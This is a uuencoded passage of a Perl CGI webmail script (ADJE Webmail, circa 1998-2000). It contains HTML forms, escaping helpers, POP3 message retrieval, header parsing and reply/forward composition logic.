M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB1D],1$52(B!V86QU93TB;F]C
(:&%N9V4B/@H`
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB04-424].(B!V86QU93TB;6%I
';&)O>"(^"@``
&/"]T9#X*
(/"]F;W)M/@H`
J/&9O<FT@;65T:&]D/2)03U-4(B!A8W1I;VX](F-O;7!O<V4N8V=I(CX*
J/'1D(&%L:6=N/2)C96YT97(B(&)G8V]L;W(])$-[0D=?4%524$Q%?3X*
L/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=#;VUP;W-E)WTB/@H`
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("`@=F%L=64]
-(B1U<V5R;F%M92(^"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB04-424].(B`@("`@=F%L=64]
/(DYE=R!-97-S86=E(CX*
&/"]T9#X*
(/"]F;W)M/@H`
M/&9O<FT@;65T:&]D/2)03U-4(B!A8W1I;VX](F5D:71A9&1B;V]K+F-G:2(^
!"@``
J/'1D(&%L:6=N/2)C96YT97(B(&)G8V]L;W(])$-[0D=?4%524$Q%?3X*
M/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=!9&1R97-S97,G?2(^
!"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("`@=F%L=64]
-(B1U<V5R;F%M92(^"@``
&/"]T9#X*
(/"]F;W)M/@H`
;/&9O<FT@;F%M93TB9F]L9&5R<V5L96-T(CX*
M/'1D('=I9'1H/2(Y-24B(&)G8V]L;W(])$-[0D=?3U)!3D=%?2!A;&EG;CTB
)8V5N=&5R(CX*
M/'-E;&5C="!N86UE/2)T;V)O>"(@;VYC:&%N9V4](F-H86YG969O;&1E<B@I
#(CX*
')&QI;F4Q"@``
')&QI;F4R"@``
*/"]S96QE8W0^"@``
&/"]T9#X*
(/"]F;W)M/@H`
I/&9O<FT@;65T:&]D/2)03U-4(B!A8W1I;VX](FQO9V]U="YC9VDB/@H`
J/'1D(&%L:6=N/2)C96YT97(B(&)G8V]L;W(])$-[0D=?4%524$Q%?3X*
L/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=,;V<@3W5T)WTB/@H`
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("`@=F%L=64]
-(B1U<V5R;F%M92(^"@``
&/"]T9#X*
(/"]F;W)M/@H`
&/"]T<CX*
)/"]T86)L93X*
(2$52141/0PH`
"?0H`
4<W5B('5N97-C87!E7VAT;6P@>PH`
6;7DH)'1O=6YE;F-O9&4I(#T@0%\["@``
:)'1O=6YE;F-O9&4]?G,O)F%M<#LO)B]G.PH`
<)'1O=6YE;F-O9&4]?G,O)G%U;W0[+UPB+V<["@``
9)'1O=6YE;F-O9&4]?G,O)F=T.R\^+V<["@``
9)'1O=6YE;F-O9&4]?G,O)FQT.R\\+V<["@``
4<F5T=7)N("1T;W5N96YC;V1E.PH`
"?0H`
2<W5B(&5S8V%P95]H=&UL('L*
4;7DH)'1O96YC;V1E*2`]($!?.PH`
?(61E9FEN960H)'1O96YC;V1E*2`F)B!R971U<FX["@``
8)'1O96YC;V1E/7YS+R8O)F%M<#LO9SL*
:)'1O96YC;V1E/7YS+UPB+R9Q=6]T.R]G.PH`
7)'1O96YC;V1E/7YS+SXO)F=T.R]G.PH`
7)'1O96YC;V1E/7YS+SPO)FQT.R]G.PH`
2<F5T=7)N("1T;V5N8V]D93L*
"?0H`
3<W5B('5N97-C87!E7W5R;"!["@``
4;7DH)'1O9&5C;V1E*2`]($!?.PH`
6)'1O9&5C;V1E(#U^('1R+RLO("\["@``
M)'1O9&5C;V1E(#U^(',O)2A;,"TY82UF02U&77LR?2DO<&%C:R@B8R(L:&5X
**"0Q*2DO9V4["@``
2<F5T=7)N("1T;V1E8V]D93L*
"?0H`
1<W5B(&5S8V%P95]U<FP@>PH`
4;7DH)'1O96YC;V1E*2`]($!?.PH`
<(21T;V5N8V]D92`F)B!R971U<FX@=6YD968["@``
M)'1O96YC;V1E/7YS+RA;7F$M>D$M6C`M.5]<+2Y=*2]U8R!S<')I;G1F*"(E
4)24P,G@B+&]R9"@D,2DI+V5G.PH`
2<F5T=7)N("1T;V5N8V]D93L*
"?0H`
2<W5B(&=E=%]H96%D97)S('L*
5;7D@*$!H96%D;&EN97,I/2!`7SL*
<;7D@)&AE860@/2!-24U%.CI(96%D+3YN97<["@``
=)&AE860M/F5X=')A8W0H7$!H96%D;&EN97,I.PH`
/)&AE860M/G5N9F]L9#L*
/)&AE860M/F1E8V]D93L*
C;7D@)&1A=&4@("`@/2`D:&5A9"T^9V5T*"=$871E.B<I.PH`
A;7D@)&-C("`@("`@/2`D:&5A9"T^9V5T*"=#8SHG*3L*
F;7D@)'-U8FIE8W0@/2`D:&5A9"T^9V5T*"=3=6)J96-T.B<I.PH`
A;7D@)'1O("`@("`@/2`D:&5A9"T^9V5T*"=4;SHG*3L*
C;7D@)&9R;VT@("`@/2`D:&5A9"T^9V5T*"=&<F]M.B<I.PH`
G;7D@)')E<&QY=&\@/2`D:&5A9"T^9V5T*"=297!L>2U4;SHG*3L*
6(21D871E("8F("@D9&%T93TG)RD["@``
2(21C8R`F)B`H)&-C/2<G*3L*
<(21S=6)J96-T("8F("@D<W5B:F5C=#TG)RD["@``
2(21T;R`F)B`H)'1O/2<G*3L*
6(21F<F]M("8F("@D9G)O;3TG)RD["@``
<(21R97!L>71O("8F("@D<F5P;'ET;STG)RD["@``
0;7D@)6AE861E<G,@/2`H"@``
74U5"2D5#5"`@(#T^("1S=6)J96-T+`H`
25$\@("`@("`@(#T^("1T;RP*
41E)/32`@("`@(#T^("1F<F]M+`H`
74D503%E43R`@(#T^("1R97!L>71O+`H`
20T,@("`@("`@(#T^("1C8RP*
41$%412`@("`@(#T^("1D871E+`H`
#*3L*
@9F]R96%C:"`D:V5Y("AK97ES*"5H96%D97)S*2D@>PH`
B(61E9FEN960H)&AE861E<G-[)&ME>7TI("8F(&YE>'0["@``
;)&AE861E<G-[)&ME>7T@/7X@<R]>("LO+SL*
=)&AE861E<G-[)&ME>7T@/7X@<R]<<C]<;B\O.PH`
;)&AE861E<G-[)&ME>7T@/7X@<R\@*R0O+SL*
"?0H`
D;7D@*"1N86UE+"1A9&0L)&-O;6TI(#T@*"<G+"<G+"<G*3L*
M*"1N86UE+"1A9&0L)&-O;6TI(#T@)G!A<G-E7V5M86EL7V%D9')E<W,H)&AE
.861E<G-[1E)/37TI.PH`
>)&AE861E<G-[1E)/34%$1'T@("`@(#T@)&%D9#L*
?)&AE861E<G-[1E)/34Y!345]("`@(#T@)&YA;64["@``
?)&AE861E<G-[1E)/34-/34U%3E1](#T@)&-O;6T["@``
A*"1N86UE+"1A9&0L)&-O;6TI(#T@*"<G+"<G+"<G*3L*
M*"1N86UE+"1A9&0L)&-O;6TI(#T@)G!A<G-E7V5M86EL7V%D9')E<W,H)&AE
1861E<G-[4D503%E43WTI.PH`
=)&AE861E<G-[4E1/041$?2`@("`@/2`D861D.PH`
>)&AE861E<G-[4E1/3D%-17T@("`@/2`D;F%M93L*
>)&AE861E<G-[4E1/0T]-345.5'T@/2`D8V]M;3L*
M)&AE861E<G-[1$%934]]("`@("`@(#T@)F1A=&5?-%]I;F)O>"@D:&5A9&5R
*<WM$051%?2D["@``
1<F5T=7)N("5H96%D97)S.PH`
B?2`C(&5N9"!S=6)R;W5T:6YE(&=E=%]H96%D97)S+BXN"@``
9<W5B('!R:6YT7V)O='1O;5]L:6YK<R!["@``
M;7D@*"1U<V5R7V1I<FYA;64L)&-O<'EO;FQY+"1C;VQO<G,L)&QA;F<I(#T@
$0%\["@``
0;7D@)4,])21C;VQO<G,["@``
.;7D@)4P])21L86YG.PH`
3;7D@)5`])F=E=%]P87)A;7,["@``
M<')I;G0@(CQF;VYT(&9A8V4]7")A<FEA;"QH96QV971I8V%<(B!C;VQO<CTD
30WM415A47T),04-+?3Y<;B(["@``
4:68@*"9I<U]L:6-E;G-E9"D@>PH`
0<')I;G0\/$A%4D5$3T,["@``
./&9O;G0@<VEZ93TQ/@H`
$/'`^"@``
M041*12!796)M86EL(%9E<G-I;VX@)%![5D524TE/3GT@)F-O<'D[(#$Y.3@L
M,3DY.2PR,#`P(#QA(&AR968](FAT='`Z+R]W=W<N861J97=E8BYC;VTB/D%$
M2D4L($Q,0SPO83XN($%L;"!2:6=H=',@4F5S97)V960N(#QB/D1)4T-,04E-
M15(Z/"]B/B!5<V4@=&AI<R!S;V9T=V%R92!A;F0@=&AE(&%S<V]C:6%T960@
<=V5B('!A9V5S(&%T('EO=7(@;W=N(')I<VLN"@``
(/"]F;VYT/@H`
(2$52141/0PH`
)?2!E;'-E('L*
0<')I;G0\/$A%4D5$3T,["@``
(/'-M86QL/@H`
$/'`^"@``
M041*12!796)M86EL(%9E<G-I;VX@)%![5D524TE/3GT@)F-O<'D[(#$Y.3@L
M,3DY.2PR,#`P($%$2D4L($Q,0R`H5&AE($5D9V4I+B!!;&P@4FEG:'1S(%)E
M<V5R=F5D+B`\8CY$25-#3$%)3452.CPO8CX@57-E('1H:7,@<V]F='=A<F4@
M86YD('1H92!A<W-O8VEA=&5D('=E8B!P86=E<R!A="!Y;W5R(&]W;B!R:7-K
M+B`@66]U(&UA>2!D;W=N;&]A9"!T:&4@<&5R;"!C9VD@<V-R:7!T<R!T:&%T
0(&=E;F5R871E('1H97-E"@``
M<&%G97,@/&(^1E)%13PO8CX@9G)O;2!O=7(@:&]M92!P86=E(&%T(#QB/CQA
M(&AR968](FAT='`Z+R]W=W<N861J97=E8BYC;VTB/FAT='`Z+R]W=W<N861J
197=E8BYC;VT\+V$^/"]B/@H`
)/"]S;6%L;#X*
(/"]F;VYT/@H`
(2$52141/0PH`
"?0H`
"?0H`
0<W5B(')M7VUS9V1I<B!["@``
0;7D@*"1D:7(I(#T@0%\["@``
*;&]C86P@)%\["@``
.;7D@)&9P871H/2<G.PH`
4;W!E;F1I<B@D9&ER+"1D:7(I.PH`
C=VAI;&4H9&5F:6YE9"@D7SUR96%D9&ER*"1D:7(I*2D@>PH`
5+R@N*BDO("8F("@D7R`]("0Q*3L*
1+UY<+BLD+R`F)B!N97AT.PH`
4)&9P871H(#T@(B1D:7(O)%\B.PH`
1:68@*"UD("1F<&%T:"D@>PH`
4)G)M7VUS9V1I<B@D9G!A=&@I.PH`
)?2!E;'-E('L*
/=6YL:6YK("1F<&%T:#L*
"?0H`
"?0H`
7+60@)&1I<B`F)B!R;61I<B`D9&ER.PH`
(<F5T=7)N.PH`
"?0H`
3<W5B(&=E=%]O=7)?=6ED;"!["@``
C;7D@*"1M<V=N;RPD;7-G<VEZ92PD<V]C:V5T*2`]($!?.PH`
*;&]C86P@)%\["@``
M;7D@*"1F<F]M+"1D871E+"1S=6)J96-T+"1M97-S86=E:60L)'5I9&PI(#T@
2*"<G+"<G+"<G+"<G+"<G*3L*
D<V5N9"@D<V]C:V5T+")43U`@)&US9VYO(#!<<EQN(BPP*3L*
.)%\]/"1S;V-K970^.PH`
M=VAI;&4@*"`H)%\])G)E861S;V-K*"1S;V-K970I*2`F)B`A+UY<<C]<;B0O
%("D@>PH`
5:68@*"`O7D9R;VTZ("LO:2`I('L*
+<R]<<C]<;B\O.PH`
,)&9R;VT@/2`D7SL*
"?0H`
5:68@*"`O7D1A=&4Z("LO:2`I('L*
+<R]<<C]<;B\O.PH`
,)&1A=&4@/2`D7SL*
"?0H`
8:68@*"`O7E-U8FIE8W0Z("LO:2`I('L*
+<R]<<C]<;B\O.PH`
<)'-U8FIE8W0@/2!S=6)S='(H)%\L,"PS,BD["@``
"?0H`
;:68@*"`O7FUE<W-A9V4M:60Z("LO:2`I('L*
+<R]<<C]<;B\O.PH`
1)&UE<W-A9V5I9"`]("1?.PH`
"?0H`
"?0H`
M=VAI;&4@*"`H)%\])G)E861S;V-K*"1S;V-K970I*2`F)B`A+UY<+EQR/UQN
()"\@*2![?0H`
,)'5I9&P@/2`G)SL*
2:68@*"1M97-S86=E:60I('L*
F)'5I9&P@/2`F=6ED;%]T;U]D:7)N86UE*"1M97-S86=E:60I.PH`
)?2!E;'-E('L*
M)'5I9&P@/2`F=6ED;%]T;U]D:7)N86UE*"(D9G)O;21D871E)'-U8FIE8W0D
+;7-G<VEZ92(I.PH`
"?0H`
"?0H`
/<W5B(')E861S;V-K('L*
3;7D@*"1S;V-K970I(#T@0%\["@``
/;7D@)&1A=&$@/2`G)SL*
.;7D@)&)U9B`]("<G.PH`
8=VAI;&4@*"1B=68@(7X@+UQN)"\I('L*
0)&)U9CT\)'-O8VME=#X["@``
/)&1A=&$@+CT@)&)U9CL*
"?0H`
.<F5T=7)N("1D871A.PH`
"?0H`
:<W5B('!A<G-E7V5M86EL7V%D9')E<W,@>PH`
*;&]C86P@)%\["@``
9;7D@*"1F=6QL7V%D9')E<W,I(#T@0%\["@``
M;7D@*$!A9&1R<RD@/2!-86EL.CI!9&1R97-S+3YP87)S92@D9G5L;%]A9&1R
&97-S*3L*
D;7D@*"1N86UE+"1A9&0L)&-O;6TI(#T@*"<G+"<G+"<G*3L*
.:68@*$!A9&1R<RD@>PH`
K*"1N86UE(#T@)&%D9')S6S!=+3YP:')A<V4I(#U^(',O6R(G72LO+V<["@``
B)&%D9"`@(#T@(&QC*"1A9&1R<ULP72T^861D<F5S<RD["@``
M*"1C;VUM("`]("`D861D<G-;,%TM/F-O;6UE;G0I(#U^(',O6R@I72\O9SL*
)?2!E;'-E('L*
2)&YA;64@("`](").;VYE(CL*
2)&%D9"`@("`](").;VYE(CL*
2)&-O;6T@("`](").;VYE(CL*
"?0H`
;<F5T=7)N("@D;F%M92PD861D+"1C;VUM*3L*
"?0H`
0<W5B(&=E=%]F:65L9"!["@``
5;7D@*"1R96,L)&9L9"D@/2!`7SL*
/;7D@)'9A;#UU;F1E9CL*
M*"0D<F5C(#U^(&TC)"1F;&0Z*%M>7'Q=*BDC*2`F)B`H)'9A;"`]("0Q*3L*
-<F5T=7)N("1V86P["@``
"?0H`
#,3L*
5;7D@)5`@/2`F9V5T7W!A<F%M<SL*
E;7D@)4,@/2`F9V5T7V-O;&]R<R@D4'M714)-04E,1$E2?2D["@``
7;7D@)4P@/2`F9V5T7VQA;F=U86=E.PH`
-=6UA<VLH,#$W-RD["@``
D)'%U97)Y("`@("`@("`@("`@("`@("`@(#T@;F5W($-'23L*
M)'5S97)N86UE("`@("`@("`@("`@("`@(#T@)'%U97)Y+3YP87)A;2@G55-%
)4DY!344G*3L*
M)&US9VYO("`@("`@("`@("`@("`@("`@(#T@)'%U97)Y+3YP87)A;2@G35-'
&3D\G*3L*
M)&%C=&EO;B`@("`@("`@("`@("`@("`@(#T@)'%U97)Y+3YP87)A;2@G04-4
'24].)RD["@``
M)&US9W1O("`@("`@("`@("`@("`@("`@(#T@)'%U97)Y+3YP87)A;2@G35-'
&5$\G*3L*
G(61E9FEN960H)&US9VYO*2`F)B`H)&US9VYO/2(M,3`P,#`B*3L*
B)G9A;&ED871E7W5S97)N86UE*"1U<V5R;F%M92PQ-BD["@``
K)'5S97)N86UE(#U^("]>*"XJ*20O("8F("@D=7-E<FYA;64@/2`D,2D["@``
>)G9A;&ED871E*"1M<V=N;RPG6UQD+5TJ)RPV*3L*
E)&US9VYO(#U^("]>*"XJ*20O("8F("@D;7-G;F\@/2`D,2D["@``
@)G9A;&ED871E*"1A8W1I;VXL)UM<=R!=*R<L-C0I.PH`
G)&%C=&EO;B`]?B`O7B@N*BDD+R`F)B`H)&%C=&EO;B`]("0Q*3L*
7:68@*&1E9FEN960H)&US9W1O*2D@>PH`
F)G9A;&ED871E*"1M<V=T;RPG6UQW7"Y<+5Q?7$!=*R<L-C0I.PH`
E)&US9W1O(#U^("]>*"XJ*20O("8F("@D;7-G=&\@/2`D,2D["@``
"?0H`
M;7D@)'5S97)?9&ER;F%M93TB)%![5T5"34%)3$1)4GTO)'5S97)N86UE(CL*
M)F-H96-K7VQO9VEN*%PE3"Q<)4,L)'5S97)?9&ER;F%M92PD4'M424U%3U54
$?2D["@``
M)'-E;G1?9FYA;64@/2`B)'5S97)?9&ER;F%M92]!1$I%4T5.5$9/3$1%4D%#
+5$E612YT>'0B.PH`
L)&US9V1B(#T@("`@("`B)'5S97)?9&ER;F%M92]M97-S86=E<RYT>'0B.PH`
M*"UF("1S96YT7V9N86UE*2`F)B`H)&US9V1B(#T@(B1U<V5R7V1I<FYA;64O
3;W5T;65S<V%G97,N='AT(BD["@``
G;7D@)5!21493(#T@)F=E=%]P<F5F<R@D=7-E<E]D:7)N86UE*3L*
M*"1A8W1I;VX@/7X@+T9O<G=A<F0O*2`_("@D;7-G7W)O=W,@/2`B-2(I(#H@
4*"1M<V=?<F]W<R`]("(Q-2(I.PH`
5)&%T=&%C:&5D7VQI<W0@/2`B(CL*
E<')I;G0@(D-O;G1E;G0M='EP93H@=&5X="]H=&UL7&Y<;B(["@``
M:68@*"`H)&%C=&EO;B!E<2`B1F]R=V%R9"(I('Q\("@D86-T:6]N(#U^("]>
-<F5P;'DO:2D@*2!["@``
L;7D@0&US9W,@/2!R96%D7VUE<W-A9V5S7V9R;VU?9&ES:R@D;7-G9&(I.PH`
2)%\])&US9W-;)&US9VYO73L*
+)&%L;"`]("1?.PH`
1)&%L;"`]?B!S+RXJ.B\O.PH`
A0&US9U]P87)T<R`]("9G971?86QL7V9I;&5S*"1?*3L*
K0'1E>'1?9FEL97,@/2`F9V5T7W1E>'1?9FEL97,H0&US9U]P87)T<RD["@``
M0&%T=&%C:&5D7V9I;&5S(#T@)F=E=%]A='1A8VAE9%]F:6QE<U]N97<H0&US
*9U]P87)T<RD["@``
/;7D@0&AE861E<CTH*3L*
2;W!E;BA&2"PB/"1A;&PB*3L*
M=VAI;&4@*"!D969I;F5D*"1?/3Q&2#XI("8F("$O7EQR/UQN)"\@*2![('!U
2<V@H0&AE861E<BPD7RD[('T*
+8VQO<V4H1D@I.PH`
B;7D@)6AE860@/2`F9V5T7VAE861E<G,H0&AE861E<BD["@``
@)'-U8FIE8W1?;&EN92`]("1H96%D>U-50DI%0U1].PH`
;)'1O7VQI;F4@("`@("`]("1H96%D>U1/?3L*
=)&9R;VU?;&EN92`@("`]("1H96%D>T923TU].PH`
@)')E<&QY=&]?;&EN92`]("1H96%D>U)%4$Q95$]].PH`
;)&-C7VQI;F4@("`@("`]("1H96%D>T-#?3L*
::68@*"1A8W1I;VX@/7X@(E)E<&QY(BD@>PH`
<)&UE<W-A9V4@/2`D4%)%1E-[64]54E-)1WT["@``
M)&UE<W-A9V4@+CT@(EQR7&Y<<EQN/BTM+2TM+2TM($]224=)3D%,($U%4U-!
81T4@0D5,3U<@+2TM+2TM+2U<<EQN(CL*
"?0H`
>9F]R96%C:"`D9FEL92`H0'1E>'1?9FEL97,I('L*
?;W!E;BA&2"PB/"1F:6QE+3Y[1DE,14Y!345](BD["@``
/=VAI;&4@*#Q&2#XI('L*
3)&UE<W-A9V4@+CT@(CXD7R(["@``
"?0H`
+8VQO<V4H1D@I.PH`
"?0H`
H)&AT;6Q?;7-G=&5X="`]("9E<V-A<&5?:'1M;"@D;65S<V%G92D["@``
<:68@*"1A8W1I;VX@97$@(D9O<G=A<F0B*2!["@``
?)&9O<G=A<F1?=&5X="`]("1H=&UL7VUS9W1E>'0["@``
4)&AT;6Q?;7-G=&5X="`]("(B.PH`
"?0H`
M)&9O<FU?;7-G<W5B:F5C="`]("`F97-C87!E7VAT;6PH)'-U8FIE8W1?;&EN
$92D["@``
D)'EO=7)A9&0@/2!L8R@D4%)%1E-[64]54D%$1%)%4U-]*3L*
2)&9O<FU?;7-G9G)O;3TG)SL*
M;7D@0&9R;VUA9&1R<R`]($UA:6PZ.D%D9')E<W,M/G!A<G-E*"1F<F]M7VQI
%;F4I.PH`
=9F]R96%C:"`D861D<B`H0&9R;VUA9&1R<RD@>PH`
7)'1M<"`]("1A9&1R+3YA9&1R97-S.PH`
M*"1T;7`@;F4@)'EO=7)A9&0I("8F("@D9F]R;5]M<V=F<F]M("X]("(D=&UP
%("(I.PH`
"?0H`
M)&9O<FU?;7-G9G)O;2`]("9E<V-A<&5?:'1M;"@D9F]R;5]M<V=F<F]M*3L*
5:68@*"1R97!L>71O7VQI;F4I('L*
2)&9O<FU?;7-G9G)O;3TG)SL*
M;7D@0')E<&QY=&]A9&1R<R`]($UA:6PZ.D%D9')E<W,M/G!A<G-E*"1R97!L
+>71O7VQI;F4I.PH`
@9F]R96%C:"`D861D<B`H0')E<&QY=&]A9&1R<RD@>PH`
7)'1M<"`]("1A9&1R+3YA9&1R97-S.PH`
M*"1T;7`@;F4@)'EO=7)A9&0I("8F("@D9F]R;5]M<V=F<F]M("X]("(D=&UP
%("(I.PH`
"?0H`
M)&9O<FU?;7-G9G)O;2`]("9E<V-A<&5?:'1M;"@D9F]R;5]M<V=F<F]M*3L*
"?0H`
0)&9O<FU?;7-G=&\](B(["@``
M;7D@0'1O861D<G,@/2!-86EL.CI!9&1R97-S+3YP87)S92@D=&]?;&EN92D[
!"@``
;9F]R96%C:"`D861D<B`H0'1O861D<G,I('L*
7)'1M<"`]("1A9&1R+3YA9&1R97-S.PH`
M*&QC*"1T;7`I(&YE("1Y;W5R861D*2`F)B`H)&9O<FU?;7-G=&\@+CT@(B1T
';7`@(BD["@``
"?0H`
9)&9O<FU?;7-G=&\@/7X@<R]>7',K+R\["@``
9)&9O<FU?;7-G=&\@/7X@<R]<<RLD+R\["@``
I:68@*"1F;W)M7VUS9W1O*2![("1F;W)M7VUS9W1O("X]("(@(CL@?0H`
I)&9O<FU?;7-G=&\@/2`F97-C87!E7VAT;6PH)&9O<FU?;7-G=&\I.PH`
0)&9O<FU?;7-G8V,](B(["@``
M;7D@0&-C861D<G,@/2!-86EL.CI!9&1R97-S+3YP87)S92@D8V-?;&EN92D[
!"@``
;9F]R96%C:"`D861D<B`H0&-C861D<G,I('L*
7)'1M<"`]("1A9&1R+3YA9&1R97-S.PH`
M*&QC*"1T;7`I(&YE("1Y;W5R861D*2`F)B`H)&9O<FU?;7-G8V,@+CT@(B1T
';7`@(BD["@``
"?0H`
I)&9O<FU?;7-G8V,@/2`F97-C87!E7VAT;6PH)&9O<FU?;7-G8V,I.PH`
<:68@*"`D86-T:6]N(&5Q(")297!L>2(@*2!["@``
3)&9O<FU?;7-G8V,@(#T@(B(["@``
3)&9O<FU?;7-G=&\@(#T@(B(["@``
K)&9O<FU?;7-G<W5B:F5C="`](")293H@)&9O<FU?;7-G<W5B:F5C="(["@``
E?2!E;'-I9B`H("1A8W1I;VX@97$@(E)E<&QY($%L;"(@*2!["@``
K)&9O<FU?;7-G<W5B:F5C="`](")293H@)&9O<FU?;7-G<W5B:F5C="(["@``
C?2!E;'-I9B`H("1A8W1I;VX@97$@(D9O<G=A<F0B("D@>PH`
C9F]R96%C:"`D9FYA;64@*$!A='1A8VAE9%]F:6QE<RD@>PH`
@)&9I;&4@("`@(#T@)&9N86UE+3Y[1DE,14Y!345].PH`
4)&9I;&4@/7X@<R]>+BI<+R\O.PH`
=)&%T=&%C:&5D7VQI<W0@+CT@(B1F:6QE.R`B.PH`
"?0H`
;)&%T=&%C:&5D7VQI<W0@/7X@<R\[("0O+SL*
M)&%T=&%C:&5D7VQI<W0@/2`F97-C87!E7VAT;6PH)&%T=&%C:&5D7VQI<W0I
".PH`
4)&9O<FU?;7-G=&\@("`]("(B.PH`
4)&9O<FU?;7-G9G)O;2`]("(B.PH`
4)&9O<FU?;7-G8V,@("`]("(B.PH`
L)&9O<FU?;7-G<W5B:F5C="`](")&=V0Z("1F;W)M7VUS9W-U8FIE8W0B.PH`
"?0H`
G?2!E;'-I9B`H("1A8W1I;VX@97$@(DYE=R!-97-S86=E(B`I('L*
4)&9O<FU?;7-G=&\@("`]("(B.PH`
4)&9O<FU?;7-G9G)O;2`]("(B.PH`
4)&9O<FU?;7-G8V,@("`]("(B.PH`
7)&9O<FU?;7-G<W5B:F5C="`]("(B.PH`
M)&AT;6Q?;7-G=&5X="`]("9E<V-A<&5?:'1M;"@D4%)%1E-[64]54E-)1WTI
".PH`
F?2!E;'-I9B`H("1A8W1I;VX@97$@(F)U9VUE<W-A9V4B("D@>PH`
<)&UE<W-A9V4@/2`D4%)%1E-[64]54E-)1WT["@``
4)&9O<FU?;7-G=&\@("`]("(B.PH`
8)&9O<FU?;7-G9G)O;2`]("1M<V=T;SL*
4)&9O<FU?;7-G8V,@("`]("(B.PH`
7)&9O<FU?;7-G<W5B:F5C="`]("(B.PH`
M)&AT;6Q?;7-G=&5X="`]("9E<V-A<&5?:'1M;"@D4%)%1E-[64]54E-)1WTI
".PH`
"?0H`
0<')I;G0\/$A%4D5$3T,["@``
'/&AT;6P^"@``
'/&AE860^"@``
M/$U%5$$@8V]N=&5N=#TB=&5X="]H=&UL.R!C:&%R<V5T/21,>T-(05)3151]
;(B!H='1P+65Q=6EV/4-O;G1E;G0M5'EP93X*
F/'1I=&QE/B1,>R=796(@0F%S960@12U-86EL)WT\+W1I=&QE/@H`
M/&UE=&$@;F%M93TB1T5.15)!5$]2(B!C;VYT96YT/2(D3'LG5V5B($)A<V5D
,($4M36%I;"=](CX*
(/"]H96%D/@H`
M/&)O9'D@8F=C;VQO<CTD0WM"1U]/1D972$E417T@;&EN:STD0WM,24Y+?2!A
@;&EN:STD0WM!3$E.2WT@=FQI;FL])$-[5DQ)3DM]/@H`
(2$52141/0PH`
K)G!R:6YT7W1O<%]M96YU*"<G+"1U<V5R7V1I<FYA;64L7"5,+%PE0RD["@``
F;7D@)&QA<W1A9"`]("9P<FEN=%]A9"@M.3DL(F-E;G1E<B(I.PH`
0<')I;G0\/$A%4D5$3T,["@``
M/$9/4DT@14Y#5%E013TB;75L=&EP87)T+V9O<FTM9&%T82(@3D%-13TB;7-G
J9F]R;2(@04-424]./2)S96YD;7-G+F-G:2(@34542$]$/2)03U-4(CX*
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("`@=F%L=64]
-(B1U<V5R;F%M92(^"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB35-'3D\B("`@("`@=F%L=64]
*(B1M<V=N;R(^"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB04-424].(B`@("`@=F%L=64]
+(B1A8W1I;VXB/@H`
(2$52141/0PH`
2;7D@)'5T:6UE(#T@=&EM93L*
M*"1S:6=?-%]C;&5A<F)O>"`]("9E<V-A<&5?:'1M;"@D4%)%1E-[64]54E-)
51WTI*2`]?B!S(UQ<(UQ<7%PC9SL*
?)'-I9U\T7V-L96%R8F]X(#U^(',O7'(O7%QR+V<["@``
?)'-I9U\T7V-L96%R8F]X(#U^(',O7&XO7%QN+V<["@``
>)'-I9U\T7V-L96%R8F]X(#U^(',C)R-<7"<C9SL*
0<')I;G0\/$A%4D5$3T,["@``
?/'-C<FEP="!L86YG=6%G93TB2F%V85-C<FEP="(^"@``
%/"$M+0H`
79G5N8W1I;VX@8VQE87)B;W@@*"D@>PH`
M9&]C=6UE;G0N;7-G9F]R;2Y-4T=415A4+G9A;'5E(#T@)R1S:6=?-%]C;&5A
&<F)O>"<*
A9&]C=6UE;G0N;7-G9F]R;2Y-4T=415A4+F9O8W5S*"D*
"?0H`
>9G5N8W1I;VX@;W!E;E]A9&1R97-S8F]O:R@I('L*
C=F%R('=I;G=I9'1H(#T@<V-R965N+G=I9'1H("H@+C<U.PH`
E=F%R('=I;FAE:6=H="`]('-C<F5E;BYH96EG:'0@*B`N-S`["@``
M=F%R(')E<W0@/2`B=VED=&@](B`K('=I;G=I9'1H("L@(BQH96EG:'0](B`K
M('=I;FAE:6=H="`K("(L<F5S:7IA8FQE/7EE<RQS8W)O;&QB87)S/7EE<R([
!"@``
M861D=VEN(#T@=VEN9&]W+F]P96XH(G-H;W=A9&1B;V]K+F-G:3]54T523D%-
D13TD=7-E<FYA;64B+")A9&1R97-S=VEN9&]W(BQR97-T*3L*
"?0H`
'+R\@+2T^"@``
*/"]S8W)I<'0^"@``
M/'1A8FQE(&%L:6=N/2)C96YT97(B(&-E;&QP861D:6YG/2(R(B!C96QL<W!A
*8VEN9STB,B(^"@``
%/'1R/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
M/'1D(&-O;'-P86X],B!A;&EG;CUL969T/CQF;VYT(&9A8V4](F%R:6%L+&AE
M;'9E=&EC82(@8V]L;W(])$-[5$585%]"3$%#2WT^/&$@:')E9CTB2F%V85-C
M<FEP=#IO<&5N7V%D9')E<W-B;V]K*"D[(CX\8CXD3'LG3W!E;B!!9&1R97-S
M($)O;VLG?3PO8CX\+V$^)FYB<W`[)FYB<W`[/&$@:')E9CTB961I=&%D9&)O
M;VLN8V=I/T%#5$E/3CU%1$E4)E5315).04U%/21U<V5R;F%M929424U%/21U
M=&EM92(^/&(^)$Q[)T5D:70@061D<F5S<R!";V]K)WT\+V(^/"]A/CPO9F]N
(=#X\+W1D/@H`
&/"]T<CX*
(2$52141/0PH`
0<')I;G0\/$A%4D5$3T,["@``
%/'1R/@H`
M/'1D(&%L:6=N/7)I9VAT/CQF;VYT(&9A8V4](F%R:6%L+&AE;'9E=&EC82(@
M<VEZ93TT(&-O;&]R/21#>U1%6%1?0DQ!0TM]/CQS=')O;F<^)$Q[)U1O)WTZ
6/"]S=')O;F<^/"]F;VYT/CPO=&0^"@``
M/'1D(&%L:6=N/2)C96YT97(B/CQI;G!U="!T>7!E/2)T97AT(B!N86UE/2)-
